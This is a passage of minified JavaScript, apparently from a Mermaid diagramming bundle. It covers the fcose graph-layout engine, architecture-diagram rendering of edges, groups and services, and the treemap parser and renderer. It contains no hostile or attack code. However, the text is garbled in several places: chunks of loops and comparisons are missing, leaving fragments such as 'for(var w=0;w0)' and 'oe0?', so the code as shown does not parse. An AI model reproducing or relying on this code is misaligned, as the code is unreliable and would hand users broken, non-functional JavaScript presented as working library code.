te=0,Y=0,oe=0;oe0?y.DEFAULT_EDGE_LENGTH=g.DEFAULT_EDGE_LENGTH=te/Y:E(b.idealEdgeLength)?y.DEFAULT_EDGE_LENGTH=g.DEFAULT_EDGE_LENGTH=50:y.DEFAULT_EDGE_LENGTH=g.DEFAULT_EDGE_LENGTH=b.idealEdgeLength,y.MIN_REPULSION_DIST=g.MIN_REPULSION_DIST=g.DEFAULT_EDGE_LENGTH/10,y.DEFAULT_RADIAL_SEPARATION=g.DEFAULT_EDGE_LENGTH)},"processEdges"),P=o(function($,U){U.fixedNodeConstraint&&($.constraints.fixedNodeConstraint=U.fixedNodeConstraint),U.alignmentConstraint&&($.constraints.alignmentConstraint=U.alignmentConstraint),U.relativePlacementConstraint&&($.constraints.relativePlacementConstraint=U.relativePlacementConstraint)},"processConstraints");b.nestingFactor!=null&&(y.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=g.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=b.nestingFactor),b.gravity!=null&&(y.DEFAULT_GRAVITY_STRENGTH=g.DEFAULT_GRAVITY_STRENGTH=b.gravity),b.numIter!=null&&(y.MAX_ITERATIONS=g.MAX_ITERATIONS=b.numIter),b.gravityRange!=null&&(y.DEFAULT_GRAVITY_RANGE_FACTOR=g.DEFAULT_GRAVITY_RANGE_FACTOR=b.gravityRange),b.gravityCompound!=null&&(y.DEFAULT_COMPOUND_GRAVITY_STRENGTH=g.DEFAULT_COMPOUND_GRAVITY_STRENGTH=b.gravityCompound),b.gravityRangeCompound!=null&&(y.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=g.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=b.gravityRangeCompound),b.initialEnergyOnIncremental!=null&&(y.DEFAULT_COOLING_FACTOR_INCREMENTAL=g.DEFAULT_COOLING_FACTOR_INCREMENTAL=b.initialEnergyOnIncremental),b.tilingCompareBy!=null&&(y.TILING_COMPARE_BY=b.tilingCompareBy),b.quality=="proof"?m.QUALITY=2:m.QUALITY=0,y.NODE_DIMENSIONS_INCLUDE_LABELS=g.NODE_DIMENSIONS_INCLUDE_LABELS=m.NODE_DIMENSIONS_INCLUDE_LABELS=b.nodeDimensionsIncludeLabels,y.DEFAULT_INCREMENTAL=g.DEFAULT_INCREMENTAL=m.DEFAULT_INCREMENTAL=!b.randomize,y.ANIMATE=g.ANIMATE=m.ANIMATE=b.animate,y.TILE=b.tile,y.TILING_PADDING_VERTICAL=typeof b.tilingPaddingVertical=="function"?b.tilingPaddingVertical.call():b.tilingPaddingVertical,y.TILING_PADDING_HORIZONTAL=typeof b.tilingPaddingHorizontal=="function"?b.tilingPaddingHorizontal.call():b.tilingPaddingHorizontal,y.DEFAULT_INCREMENTAL=g.DEFAULT_INCREMENTAL=m.DEFAULT_INCREMENTAL=!0,y.PURE_INCREMENTAL=!b.randomize,m.DEFAULT_UNIFORM_LEAF_NODE_SIZES=b.uniformNodeDimensions,b.step=="transformed"&&(y.TRANSFORM_ON_CONSTRAINT_HANDLING=!0,y.ENFORCE_CONSTRAINTS=!1,y.APPLY_LAYOUT=!1),b.step=="enforced"&&(y.TRANSFORM_ON_CONSTRAINT_HANDLING=!1,y.ENFORCE_CONSTRAINTS=!0,y.APPLY_LAYOUT=!1),b.step=="cose"&&(y.TRANSFORM_ON_CONSTRAINT_HANDLING=!1,y.ENFORCE_CONSTRAINTS=!1,y.APPLY_LAYOUT=!0),b.step=="all"&&(b.randomize?y.TRANSFORM_ON_CONSTRAINT_HANDLING=!0:y.TRANSFORM_ON_CONSTRAINT_HANDLING=!1,y.ENFORCE_CONSTRAINTS=!0,y.APPLY_LAYOUT=!0),b.fixedNodeConstraint||b.alignmentConstraint||b.relativePlacementConstraint?y.TREE_REDUCTION_ON_INCREMENTAL=!1:y.TREE_REDUCTION_ON_INCREMENTAL=!0;var B=new h,F=B.newGraphManager();return O(F.addRoot(),u.getTopMostNodes(k),B,b),M(B,F,A),P(B,b),B.runLayout(),L},"coseLayout");a.exports={coseLayout:v}}),212:((a,s,l)=>{var u=(function(){function b(T,S){for(var w=0;w0)if(M){var F=d.getTopMostNodes(w.eles.nodes());if(E=d.connectComponents(k,w.eles,F),E.forEach(function(Te){var q=Te.boundingBox();D.push({x:q.x1+q.w/2,y:q.y1+q.h/2})}),w.randomize&&E.forEach(function(Te){w.eles=Te,C.push(m(w))}),w.quality=="default"||w.quality=="proof"){var G=k.collection();if(w.tile){var $=new Map,U=[],j=[],te=0,Y={nodeIndexes:$,xCoords:U,yCoords:j},oe=[];if(E.forEach(function(Te,q){Te.edges().length==0&&(Te.nodes().forEach(function(Ve,pe){G.merge(Te.nodes()[pe]),Ve.isParent()||(Y.nodeIndexes.set(Te.nodes()[pe].id(),te++),Y.xCoords.push(Te.nodes()[0].position().x),Y.yCoords.push(Te.nodes()[0].position().y))}),oe.push(q))}),G.length>1){var J=G.boundingBox();D.push({x:J.x1+J.w/2,y:J.y1+J.h/2}),E.push(G),C.push(Y);for(var ue=oe.length-1;ue>=0;ue--)E.splice(oe[ue],1),C.splice(oe[ue],1),D.splice(oe[ue],1)}}E.forEach(function(Te,q){w.eles=Te,L.push(y(w,C[q])),d.relocateComponent(D[q],L[q],w)})}else E.forEach(function(Te,q){d.relocateComponent(D[q],C[q],w)});var re=new Set;if(E.length>1){var ee=[],Z=A.filter(function(Te){return Te.css("display")=="none"});E.forEach(function(Te,q){var Ve=void 0;if(w.quality=="draft"&&(Ve=C[q].nodeIndexes),Te.nodes().not(Z).length>0){var pe={};pe.edges=[],pe.nodes=[];var Be=void 0;Te.nodes().not(Z).forEach(function(Ye){if(w.quality=="draft")if(!Ye.isParent())Be=Ve.get(Ye.id()),pe.nodes.push({x:C[q].xCoords[Be]-Ye.boundingbox().w/2,y:C[q].yCoords[Be]-Ye.boundingbox().h/2,width:Ye.boundingbox().w,height:Ye.boundingbox().h});else{var He=d.calcBoundingBox(Ye,C[q].xCoords,C[q].yCoords,Ve);pe.nodes.push({x:He.topLeftX,y:He.topLeftY,width:He.width,height:He.height})}else L[q][Ye.id()]&&pe.nodes.push({x:L[q][Ye.id()].getLeft(),y:L[q][Ye.id()].getTop(),width:L[q][Ye.id()].getWidth(),height:L[q][Ye.id()].getHeight()})}),Te.edges().forEach(function(Ye){var He=Ye.source(),Le=Ye.target();if(He.css("display")!="none"&&Le.css("display")!="none")if(w.quality=="draft"){var Ie=Ve.get(He.id()),Ne=Ve.get(Le.id()),Ce=[],Fe=[];if(He.isParent()){var fe=d.calcBoundingBox(He,C[q].xCoords,C[q].yCoords,Ve);Ce.push(fe.topLeftX+fe.width/2),Ce.push(fe.topLeftY+fe.height/2)}else Ce.push(C[q].xCoords[Ie]),Ce.push(C[q].yCoords[Ie]);if(Le.isParent()){var xe=d.calcBoundingBox(Le,C[q].xCoords,C[q].yCoords,Ve);Fe.push(xe.topLeftX+xe.width/2),Fe.push(xe.topLeftY+xe.height/2)}else Fe.push(C[q].xCoords[Ne]),Fe.push(C[q].yCoords[Ne]);pe.edges.push({startX:Ce[0],startY:Ce[1],endX:Fe[0],endY:Fe[1]})}else L[q][He.id()]&&L[q][Le.id()]&&pe.edges.push({startX:L[q][He.id()].getCenterX(),startY:L[q][He.id()].getCenterY(),endX:L[q][Le.id()].getCenterX(),endY:L[q][Le.id()].getCenterY()})}),pe.nodes.length>0&&(ee.push(pe),re.add(q))}});var K=O.packComponents(ee,w.randomize).shifts;if(w.quality=="draft")C.forEach(function(Te,q){var Ve=Te.xCoords.map(function(Be){return Be+K[q].dx}),pe=Te.yCoords.map(function(Be){return Be+K[q].dy});Te.xCoords=Ve,Te.yCoords=pe});else{var ae=0;re.forEach(function(Te){Object.keys(L[Te]).forEach(function(q){var Ve=L[Te][q];Ve.setCenter(Ve.getCenterX()+K[ae].dx,Ve.getCenterY()+K[ae].dy)}),ae++})}}}else{var P=w.eles.boundingBox();if(D.push({x:P.x1+P.w/2,y:P.y1+P.h/2}),w.randomize){var B=m(w);C.push(B)}w.quality=="default"||w.quality=="proof"?(L.push(y(w,C[0])),d.relocateComponent(D[0],L[0],w)):d.relocateComponent(D[0],C[0],w)}var Q=o(function(q,Ve){if(w.quality=="default"||w.quality=="proof"){typeof q=="number"&&(q=Ve);var pe=void 0,Be=void 0,Ye=q.data("id");return L.forEach(function(Le){Ye in Le&&(pe={x:Le[Ye].getRect().getCenterX(),y:Le[Ye].getRect().getCenterY()},Be=Le[Ye])}),w.nodeDimensionsIncludeLabels&&(Be.labelWidth&&(Be.labelPosHorizontal=="left"?pe.x+=Be.labelWidth/2:Be.labelPosHorizontal=="right"&&(pe.x-=Be.labelWidth/2)),Be.labelHeight&&(Be.labelPosVertical=="top"?pe.y+=Be.labelHeight/2:Be.labelPosVertical=="bottom"&&(pe.y-=Be.labelHeight/2))),pe==null&&(pe={x:q.position("x"),y:q.position("y")}),{x:pe.x,y:pe.y}}else{var He=void 0;return C.forEach(function(Le){var Ie=Le.nodeIndexes.get(q.id());Ie!=null&&(He={x:Le.xCoords[Ie],y:Le.yCoords[Ie]})}),He==null&&(He={x:q.position("x"),y:q.position("y")}),{x:He.x,y:He.y}}},"getPositions");if(w.quality=="default"||w.quality=="proof"||w.randomize){var de=d.calcParentsWithoutChildren(k,A),ne=A.filter(function(Te){return Te.css("display")=="none"});w.eles=A.not(ne),A.nodes().not(":parent").not(ne).layoutPositions(S,w,Q),de.length>0&&de.forEach(function(Te){Te.position(Q(Te))})}else console.log("If randomize option is set to false, then quality option must be 'default' or 'proof'.")},"run")}]),b})();a.exports=x}),657:((a,s,l)=>{var u=l(548),h=l(140).layoutBase.Matrix,f=l(140).layoutBase.SVD,d=o(function(m){var g=m.cy,y=m.eles,v=y.nodes(),x=y.nodes(":parent"),b=new Map,T=new Map,S=new Map,w=[],k=[],A=[],C=[],R=[],I=[],L=[],E=[],D=void 0,_=void 0,O=1e8,M=1e-9,P=m.piTol,B=m.samplingType,F=m.nodeSeparation,G=void 0,$=o(function(){for(var he=0,z=0,se=!1;z=ke;){ye=le[ke++];for(var We=w[ye],Oe=0;Oeze&&(ze=R[Ue],Ke=Ue)}return Ke},"BFS"),j=o(function(he){var z=void 0;if(he){z=Math.floor(Math.random()*_),D=z;for(var le=0;le<_;le++)R[le]=O;for(var ke=0;ke=1)break;ze=_e}for(var We=0;We<_;We++)ke[We]=se[We];for(Re=0,ze=M;;){Re++;for(var Oe=0;Oe<_;Oe++)ve[Oe]=le[Oe];if(ve=h.minusOp(ve,h.multCons(ke,h.dotProduct(ke,ve))),le=h.multGamma(h.multL(h.multGamma(ve),I,E)),z=h.dotProduct(ve,le),le=h.normalize(le),_e=h.dotProduct(ve,le),Ke=Math.abs(_e/ze),Ke<=1+P&&Ke>=1)break;ze=_e}for(var et=0;et<_;et++)ve[et]=le[et];k=h.multCons(ke,Math.sqrt(Math.abs(he))),A=h.multCons(ve,Math.sqrt(Math.abs(z)))},"powerIteration");u.connectComponents(g,y,u.getTopMostNodes(v),b),x.forEach(function(W){u.connectComponents(g,y,u.getTopMostNodes(W.descendants().intersection(y)),b)});for(var oe=0,J=0;J0&&(z.isParent()?w[he].push(S.get(z.id())):w[he].push(z.id()))})});var de=o(function(he){var z=T.get(he),se=void 0;b.get(he).forEach(function(le){g.getElementById(le).isParent()?se=S.get(le):se=le,w[z].push(se),w[T.get(se)].push(he)})},"_loop"),ne=!0,Te=!1,q=void 0;try{for(var Ve=b.keys()[Symbol.iterator](),pe;!(ne=(pe=Ve.next()).done);ne=!0){var Be=pe.value;de(Be)}}catch(W){Te=!0,q=W}finally{try{!ne&&Ve.return&&Ve.return()}finally{if(Te)throw q}}_=T.size;var Ye=void 0;if(_>2){G=_{var u=l(212),h=o(function(d){d&&d("layout","fcose",u)},"register");typeof cytoscape<"u"&&h(cytoscape),a.exports=h}),140:(a=>{a.exports=t})},r={};function n(a){var s=r[a];if(s!==void 0)return s.exports;var l=r[a]={exports:{}};return e[a](l,l.exports,n),l.exports}o(n,"__webpack_require__");var i=n(579);return i})()})});var xy,m0,Iz=N(()=>{"use strict";nc();xy=o(t=>`${t}`,"wrapIcon"),m0={prefix:"mermaid-architecture",height:80,width:80,icons:{database:{body:xy('')},server:{body:xy('')},disk:{body:xy('')},internet:{body:xy('')},cloud:{body:xy('')},unknown:AA,blank:{body:xy("")}}}});var N4e,M4e,I4e,O4e,P4e=N(()=>{"use strict";Xt();zo();nc();gr();Iz();PC();tr();N4e=o(async function(t,e,r){let n=r.getConfigField("padding"),i=r.getConfigField("iconSize"),a=i/2,s=i/6,l=s/2;await Promise.all(e.edges().map(async u=>{let{source:h,sourceDir:f,sourceArrow:d,sourceGroup:p,target:m,targetDir:g,targetArrow:y,targetGroup:v,label:x}=OC(u),{x:b,y:T}=u[0].sourceEndpoint(),{x:S,y:w}=u[0].midpoint(),{x:k,y:A}=u[0].targetEndpoint(),C=n+4;if(p&&(Ya(f)?b+=f==="L"?-C:C:T+=f==="T"?-C:C+18),v&&(Ya(g)?k+=g==="L"?-C:C:A+=g==="T"?-C:C+18),!p&&r.getNode(h)?.type==="junction"&&(Ya(f)?b+=f==="L"?a:-a:T+=f==="T"?a:-a),!v&&r.getNode(m)?.type==="junction"&&(Ya(g)?k+=g==="L"?a:-a:A+=g==="T"?a:-a),u[0]._private.rscratch){let R=t.insert("g");if(R.insert("path").attr("d",`M ${b},${T} L ${S},${w} L${k},${A} `).attr("class","edge").attr("id",xc(h,m,{prefix:"L"})),d){let I=Ya(f)?N4[f](b,s):b-l,L=nu(f)?N4[f](T,s):T-l;R.insert("polygon").attr("points",Sz[f](s)).attr("transform",`translate(${I},${L})`).attr("class","arrow")}if(y){let I=Ya(g)?N4[g](k,s):k-l,L=nu(g)?N4[g](A,s):A-l;R.insert("polygon").attr("points",Sz[g](s)).attr("transform",`translate(${I},${L})`).attr("class","arrow")}if(x){let I=M4(f,g)?"XY":Ya(f)?"X":"Y",L=0;I==="X"?L=Math.abs(b-k):I==="Y"?L=Math.abs(T-A)/1.5:L=Math.abs(b-k)/2;let E=R.append("g");if(await di(E,x,{useHtmlLabels:!1,width:L,classes:"architecture-service-label"},ge()),E.attr("dy","1em").attr("alignment-baseline","middle").attr("dominant-baseline","middle").attr("text-anchor","middle"),I==="X")E.attr("transform","translate("+S+", "+w+")");else if(I==="Y")E.attr("transform","translate("+S+", "+w+") rotate(-90)");else if(I==="XY"){let D=I4(f,g);if(D&&w4e(D)){let _=E.node().getBoundingClientRect(),[O,M]=E4e(D);E.attr("dominant-baseline","auto").attr("transform",`rotate(${-1*O*M*45})`);let P=E.node().getBoundingClientRect();E.attr("transform",` + translate(${S}, ${w-_.height/2}) + translate(${O*P.width/2}, ${M*P.height/2}) + rotate(${-1*O*M*45}, 0, ${_.height/2}) + `)}}}}}))},"drawEdges"),M4e=o(async function(t,e,r){let i=r.getConfigField("padding")*.75,a=r.getConfigField("fontSize"),l=r.getConfigField("iconSize")/2;await Promise.all(e.nodes().map(async u=>{let h=td(u);if(h.type==="group"){let{h:f,w:d,x1:p,y1:m}=u.boundingBox(),g=t.append("rect");g.attr("id",`group-${h.id}`).attr("x",p+l).attr("y",m+l).attr("width",d).attr("height",f).attr("class","node-bkg");let y=t.append("g"),v=p,x=m;if(h.icon){let b=y.append("g");b.html(`${await _s(h.icon,{height:i,width:i,fallbackPrefix:m0.prefix})}`),b.attr("transform","translate("+(v+l+1)+", "+(x+l+1)+")"),v+=i,x+=a/2-1-2}if(h.label){let b=y.append("g");await di(b,h.label,{useHtmlLabels:!1,width:d,classes:"architecture-service-label"},ge()),b.attr("dy","1em").attr("alignment-baseline","middle").attr("dominant-baseline","start").attr("text-anchor","start"),b.attr("transform","translate("+(v+l+4)+", "+(x+l+2)+")")}r.setElementForId(h.id,g)}}))},"drawGroups"),I4e=o(async function(t,e,r){let n=ge();for(let i of r){let a=e.append("g"),s=t.getConfigField("iconSize");if(i.title){let f=a.append("g");await di(f,i.title,{useHtmlLabels:!1,width:s*1.5,classes:"architecture-service-label"},n),f.attr("dy","1em").attr("alignment-baseline","middle").attr("dominant-baseline","middle").attr("text-anchor","middle"),f.attr("transform","translate("+s/2+", "+s+")")}let l=a.append("g");if(i.icon)l.html(`${await _s(i.icon,{height:s,width:s,fallbackPrefix:m0.prefix})}`);else if(i.iconText){l.html(`${await _s("blank",{height:s,width:s,fallbackPrefix:m0.prefix})}`);let p=l.append("g").append("foreignObject").attr("width",s).attr("height",s).append("div").attr("class","node-icon-text").attr("style",`height: ${s}px;`).append("div").html(sr(i.iconText,n)),m=parseInt(window.getComputedStyle(p.node(),null).getPropertyValue("font-size").replace(/\D/g,""))??16;p.attr("style",`-webkit-line-clamp: ${Math.floor((s-2)/m)};`)}else l.append("path").attr("class","node-bkg").attr("id","node-"+i.id).attr("d",`M0 ${s} v${-s} q0,-5 5,-5 h${s} q5,0 5,5 v${s} H0 Z`);a.attr("id",`service-${i.id}`).attr("class","architecture-service");let{width:u,height:h}=a.node().getBBox();i.width=u,i.height=h,t.setElementForId(i.id,a)}return 0},"drawServices"),O4e=o(function(t,e,r){r.forEach(n=>{let i=e.append("g"),a=t.getConfigField("iconSize");i.append("g").append("rect").attr("id","node-"+n.id).attr("fill-opacity","0").attr("width",a).attr("height",a),i.attr("class","architecture-junction");let{width:l,height:u}=i._groups[0][0].getBBox();i.width=l,i.height=u,t.setElementForId(n.id,i)})},"drawJunctions")});function Dit(t,e,r){t.forEach(n=>{e.add({group:"nodes",data:{type:"service",id:n.id,icon:n.icon,label:n.title,parent:n.in,width:r.getConfigField("iconSize"),height:r.getConfigField("iconSize")},classes:"node-service"})})}function Lit(t,e,r){t.forEach(n=>{e.add({group:"nodes",data:{type:"junction",id:n.id,parent:n.in,width:r.getConfigField("iconSize"),height:r.getConfigField("iconSize")},classes:"node-junction"})})}function Rit(t,e){e.nodes().map(r=>{let n=td(r);if(n.type==="group")return;n.x=r.position().x,n.y=r.position().y,t.getElementById(n.id).attr("transform","translate("+(n.x||0)+","+(n.y||0)+")")})}function Nit(t,e){t.forEach(r=>{e.add({group:"nodes",data:{type:"group",id:r.id,icon:r.icon,label:r.title,parent:r.in},classes:"node-group"})})}function Mit(t,e){t.forEach(r=>{let{lhsId:n,rhsId:i,lhsInto:a,lhsGroup:s,rhsInto:l,lhsDir:u,rhsDir:h,rhsGroup:f,title:d}=r,p=M4(r.lhsDir,r.rhsDir)?"segments":"straight",m={id:`${n}-${i}`,label:d,source:n,sourceDir:u,sourceArrow:a,sourceGroup:s,sourceEndpoint:u==="L"?"0 50%":u==="R"?"100% 50%":u==="T"?"50% 0":"50% 100%",target:i,targetDir:h,targetArrow:l,targetGroup:f,targetEndpoint:h==="L"?"0 50%":h==="R"?"100% 50%":h==="T"?"50% 0":"50% 100%"};e.add({group:"edges",data:m,classes:p})})}function Iit(t,e,r){let n=o((l,u)=>Object.entries(l).reduce((h,[f,d])=>{let p=0,m=Object.entries(d);if(m.length===1)return h[f]=m[0][1],h;for(let g=0;g{let u={},h={};return Object.entries(l).forEach(([f,[d,p]])=>{let m=t.getNode(f)?.in??"default";u[p]??={},u[p][m]??=[],u[p][m].push(f),h[d]??={},h[d][m]??=[],h[d][m].push(f)}),{horiz:Object.values(n(u,"horizontal")).filter(f=>f.length>1),vert:Object.values(n(h,"vertical")).filter(f=>f.length>1)}}),[a,s]=i.reduce(([l,u],{horiz:h,vert:f})=>[[...l,...h],[...u,...f]],[[],[]]);return{horizontal:a,vertical:s}}function Oit(t,e){let r=[],n=o(a=>`${a[0]},${a[1]}`,"posToStr"),i=o(a=>a.split(",").map(s=>parseInt(s)),"strToPos");return t.forEach(a=>{let s=Object.fromEntries(Object.entries(a).map(([f,d])=>[n(d),f])),l=[n([0,0])],u={},h={L:[-1,0],R:[1,0],T:[0,1],B:[0,-1]};for(;l.length>0;){let f=l.shift();if(f){u[f]=1;let d=s[f];if(d){let p=i(f);Object.entries(h).forEach(([m,g])=>{let y=n([p[0]+g[0],p[1]+g[1]]),v=s[y];v&&!u[y]&&(l.push(y),r.push({[Ez[m]]:v,[Ez[T4e(m)]]:d,gap:1.5*e.getConfigField("iconSize")}))})}}}}),r}function Pit(t,e,r,n,i,{spatialMaps:a,groupAlignments:s}){return new Promise(l=>{let u=qe("body").append("div").attr("id","cy").attr("style","display:none"),h=Ko({container:document.getElementById("cy"),style:[{selector:"edge",style:{"curve-style":"straight",label:"data(label)","source-endpoint":"data(sourceEndpoint)","target-endpoint":"data(targetEndpoint)"}},{selector:"edge.segments",style:{"curve-style":"segments","segment-weights":"0","segment-distances":[.5],"edge-distances":"endpoints","source-endpoint":"data(sourceEndpoint)","target-endpoint":"data(targetEndpoint)"}},{selector:"node",style:{"compound-sizing-wrt-labels":"include"}},{selector:"node[label]",style:{"text-valign":"bottom","text-halign":"center","font-size":`${i.getConfigField("fontSize")}px`}},{selector:".node-service",style:{label:"data(label)",width:"data(width)",height:"data(height)"}},{selector:".node-junction",style:{width:"data(width)",height:"data(height)"}},{selector:".node-group",style:{padding:`${i.getConfigField("padding")}px`}}],layout:{name:"grid",boundingBox:{x1:0,x2:100,y1:0,y2:100}}});u.remove(),Nit(r,h),Dit(t,h,i),Lit(e,h,i),Mit(n,h);let f=Iit(i,a,s),d=Oit(a,i),p=h.layout({name:"fcose",quality:"proof",styleEnabled:!1,animate:!1,nodeDimensionsIncludeLabels:!1,idealEdgeLength(m){let[g,y]=m.connectedNodes(),{parent:v}=td(g),{parent:x}=td(y);return v===x?1.5*i.getConfigField("iconSize"):.5*i.getConfigField("iconSize")},edgeElasticity(m){let[g,y]=m.connectedNodes(),{parent:v}=td(g),{parent:x}=td(y);return v===x?.45:.001},alignmentConstraint:f,relativePlacementConstraint:d});p.one("layoutstop",()=>{function m(g,y,v,x){let b,T,{x:S,y:w}=g,{x:k,y:A}=y;T=(x-w+(S-v)*(w-A)/(S-k))/Math.sqrt(1+Math.pow((w-A)/(S-k),2)),b=Math.sqrt(Math.pow(x-w,2)+Math.pow(v-S,2)-Math.pow(T,2));let C=Math.sqrt(Math.pow(k-S,2)+Math.pow(A-w,2));b=b/C;let R=(k-S)*(x-w)-(A-w)*(v-S);switch(!0){case R>=0:R=1;break;case R<0:R=-1;break}let I=(k-S)*(v-S)+(A-w)*(x-w);switch(!0){case I>=0:I=1;break;case I<0:I=-1;break}return T=Math.abs(T)*R,b=b*I,{distances:T,weights:b}}o(m,"getSegmentWeights"),h.startBatch();for(let g of Object.values(h.edges()))if(g.data?.()){let{x:y,y:v}=g.source().position(),{x,y:b}=g.target().position();if(y!==x&&v!==b){let T=g.sourceEndpoint(),S=g.targetEndpoint(),{sourceDir:w}=OC(g),[k,A]=nu(w)?[T.x,S.y]:[S.x,T.y],{weights:C,distances:R}=m(T,S,k,A);g.style("segment-distances",R),g.style("segment-weights",C)}}h.endBatch(),p.run()}),p.run(),h.ready(m=>{X.info("Ready",m),l(h)})})}var B4e,Bit,F4e,$4e=N(()=>{"use strict";II();B4e=ja(R4e(),1);yr();pt();nc();tu();Ei();Iz();PC();P4e();O3([{name:m0.prefix,icons:m0}]);Ko.use(B4e.default);o(Dit,"addServices");o(Lit,"addJunctions");o(Rit,"positionNodes");o(Nit,"addGroups");o(Mit,"addEdges");o(Iit,"getAlignments");o(Oit,"getRelativeConstraints");o(Pit,"layoutArchitecture");Bit=o(async(t,e,r,n)=>{let i=n.db,a=i.getServices(),s=i.getJunctions(),l=i.getGroups(),u=i.getEdges(),h=i.getDataStructures(),f=aa(e),d=f.append("g");d.attr("class","architecture-edges");let p=f.append("g");p.attr("class","architecture-services");let m=f.append("g");m.attr("class","architecture-groups"),await I4e(i,p,a),O4e(i,p,s);let g=await Pit(a,s,l,u,i,h);await N4e(d,g,i),await M4e(m,g,i),Rit(i,g),ic(void 0,f,i.getConfigField("padding"),i.getConfigField("useMaxWidth"))},"draw"),F4e={draw:Bit}});var z4e={};dr(z4e,{diagram:()=>Fit});var Fit,G4e=N(()=>{"use strict";_4e();Az();L4e();$4e();Fit={parser:_z,get db(){return new vy},renderer:F4e,styles:D4e}});var by,Oz=N(()=>{"use strict";La();qn();tr();$t();ci();by=class{constructor(){this.nodes=[];this.levels=new Map;this.outerNodes=[];this.classes=new Map;this.setAccTitle=Rr;this.getAccTitle=Mr;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getAccDescription=Or;this.setAccDescription=Ir}static{o(this,"TreeMapDB")}getNodes(){return this.nodes}getConfig(){let e=ur,r=Qt();return Vn({...e.treemap,...r.treemap??{}})}addNode(e,r){this.nodes.push(e),this.levels.set(e,r),r===0&&(this.outerNodes.push(e),this.root??=e)}getRoot(){return{name:"",children:this.outerNodes}}addClass(e,r){let n=this.classes.get(e)??{id:e,styles:[],textStyles:[]},i=r.replace(/\\,/g,"\xA7\xA7\xA7").replace(/,/g,";").replace(/§§§/g,",").split(";");i&&i.forEach(a=>{_2(a)&&(n?.textStyles?n.textStyles.push(a):n.textStyles=[a]),n?.styles?n.styles.push(a):n.styles=[a]}),this.classes.set(e,n)}getClasses(){return this.classes}getStylesForClass(e){return this.classes.get(e)?.styles??[]}clear(){Sr(),this.nodes=[],this.levels=new Map,this.outerNodes=[],this.classes=new Map,this.root=void 0}}});function H4e(t){if(!t.length)return[];let e=[],r=[];return t.forEach(n=>{let i={name:n.name,children:n.type==="Leaf"?void 0:[]};for(i.classSelector=n?.classSelector,n?.cssCompiledStyles&&(i.cssCompiledStyles=[n.cssCompiledStyles]),n.type==="Leaf"&&n.value!==void 0&&(i.value=n.value);r.length>0&&r[r.length-1].level>=n.level;)r.pop();if(r.length===0)e.push(i);else{let a=r[r.length-1].node;a.children?a.children.push(i):a.children=[i]}n.type!=="Leaf"&&r.push({node:i,level:n.level})}),e}var q4e=N(()=>{"use strict";o(H4e,"buildHierarchy")});var Vit,Uit,Pz,W4e=N(()=>{"use strict";Uf();pt();r0();q4e();Oz();Vit=o((t,e)=>{nl(t,e);let r=[];for(let a of t.TreemapRows??[])a.$type==="ClassDefStatement"&&e.addClass(a.className??"",a.styleText??"");for(let a of t.TreemapRows??[]){let s=a.item;if(!s)continue;let l=a.indent?parseInt(a.indent):0,u=Uit(s),h=s.classSelector?e.getStylesForClass(s.classSelector):[],f=h.length>0?h.join(";"):void 0,d={level:l,name:u,type:s.$type,value:s.value,classSelector:s.classSelector,cssCompiledStyles:f};r.push(d)}let n=H4e(r),i=o((a,s)=>{for(let l of a)e.addNode(l,s),l.children&&l.children.length>0&&i(l.children,s+1)},"addNodesRecursively");i(n,0)},"populate"),Uit=o(t=>t.name?String(t.name):"","getItemName"),Pz={parser:{yy:void 0},parse:o(async t=>{try{let r=await bs("treemap",t);X.debug("Treemap AST:",r);let n=Pz.parser?.yy;if(!(n instanceof by))throw new Error("parser.parser?.yy was not a TreemapDB. This is due to a bug within Mermaid, please report this issue at https://github.com/mermaid-js/mermaid/issues.");Vit(r,n)}catch(e){throw X.error("Error parsing treemap:",e),e}},"parse")}});var Hit,Ty,F4,qit,Wit,Y4e,X4e=N(()=>{"use strict";tu();Mf();Ei();yr();$t();qn();pt();Hit=10,Ty=10,F4=25,qit=o((t,e,r,n)=>{let i=n.db,a=i.getConfig(),s=a.padding??Hit,l=i.getDiagramTitle(),u=i.getRoot(),{themeVariables:h}=Qt();if(!u)return;let f=l?30:0,d=aa(e),p=a.nodeWidth?a.nodeWidth*Ty:960,m=a.nodeHeight?a.nodeHeight*Ty:500,g=p,y=m+f;d.attr("viewBox",`0 0 ${g} ${y}`),mn(d,y,g,a.useMaxWidth);let v;try{let _=a.valueFormat||",";if(_==="$0,0")v=o(O=>"$"+cc(",")(O),"valueFormat");else if(_.startsWith("$")&&_.includes(",")){let O=/\.\d+/.exec(_),M=O?O[0]:"";v=o(P=>"$"+cc(","+M)(P),"valueFormat")}else if(_.startsWith("$")){let O=_.substring(1);v=o(M=>"$"+cc(O||"")(M),"valueFormat")}else v=cc(_)}catch(_){X.error("Error creating format function:",_),v=cc(",")}let x=no().range(["transparent",h.cScale0,h.cScale1,h.cScale2,h.cScale3,h.cScale4,h.cScale5,h.cScale6,h.cScale7,h.cScale8,h.cScale9,h.cScale10,h.cScale11]),b=no().range(["transparent",h.cScalePeer0,h.cScalePeer1,h.cScalePeer2,h.cScalePeer3,h.cScalePeer4,h.cScalePeer5,h.cScalePeer6,h.cScalePeer7,h.cScalePeer8,h.cScalePeer9,h.cScalePeer10,h.cScalePeer11]),T=no().range([h.cScaleLabel0,h.cScaleLabel1,h.cScaleLabel2,h.cScaleLabel3,h.cScaleLabel4,h.cScaleLabel5,h.cScaleLabel6,h.cScaleLabel7,h.cScaleLabel8,h.cScaleLabel9,h.cScaleLabel10,h.cScaleLabel11]);l&&d.append("text").attr("x",g/2).attr("y",f/2).attr("class","treemapTitle").attr("text-anchor","middle").attr("dominant-baseline","middle").text(l);let S=d.append("g").attr("transform",`translate(0, ${f})`).attr("class","treemapContainer"),w=U0(u).sum(_=>_.value??0).sort((_,O)=>(O.value??0)-(_.value??0)),A=R5().size([p,m]).paddingTop(_=>_.children&&_.children.length>0?F4+Ty:0).paddingInner(s).paddingLeft(_=>_.children&&_.children.length>0?Ty:0).paddingRight(_=>_.children&&_.children.length>0?Ty:0).paddingBottom(_=>_.children&&_.children.length>0?Ty:0).round(!0)(w),C=A.descendants().filter(_=>_.children&&_.children.length>0),R=S.selectAll(".treemapSection").data(C).enter().append("g").attr("class","treemapSection").attr("transform",_=>`translate(${_.x0},${_.y0})`);R.append("rect").attr("width",_=>_.x1-_.x0).attr("height",F4).attr("class","treemapSectionHeader").attr("fill","none").attr("fill-opacity",.6).attr("stroke-width",.6).attr("style",_=>_.depth===0?"display: 